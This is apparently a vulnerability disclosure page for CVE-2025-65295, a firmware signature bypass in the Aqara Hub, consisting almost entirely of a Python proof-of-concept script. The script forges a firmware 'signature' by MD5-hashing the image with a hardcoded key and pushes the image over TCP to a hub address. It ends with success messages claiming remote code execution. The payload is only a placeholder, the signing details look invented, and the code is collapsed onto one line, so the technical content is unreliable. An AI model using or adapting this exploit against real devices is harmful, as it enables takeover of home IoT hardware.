CVE-2025-65295: Aqara Hub固件签名验证缺陷导致远程代码执行

# CVE-2025-65295 PoC - Aqara Hub Malicious Firmware Injection # This PoC demonstrates the firmware signature bypass vulnerability import hashlib import struct import socket import time TARGET_IP = "192.168.1.100" # Target Aqara Hub IP TARGET_PORT = 8080 def generate_malicious_firmware(): """Generate malicious firmware with forged signature""" # Malicious firmware payload malicious_payload = b'\x00' * 1024 # Placeholder for actual malicious code # Create firmware header header = struct.pack('<I', 0x41515241) # 'AQRA' magic bytes header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', len(malicious_payload)) # Payload length # Forge signature using weak cryptographic method weak_key = b'WEAK_AQARA_KEY_2024' signature = hashlib.md5(header + malicious_payload + weak_key).digest() return header + signature + malicious_payload def exploit(): """Send malicious firmware to target device""" print(f"[*] Targeting Aqara Hub: {TARGET_IP}") print(f"[*] Generating malicious firmware...") firmware = generate_malicious_firmware() print(f"[*] Sending malicious firmware ({len(firmware)} bytes)...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) sock.send(firmware) response = sock.recv(1024) if b'OK' in response or b'SUCCESS' in response: print("[+] Malicious firmware installed successfully!") print("[+] Device now compromised - remote code execution achieved") else: print("[-] Firmware installation failed or signature validation triggered") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit() # Note: This is a conceptual PoC for educational purposes only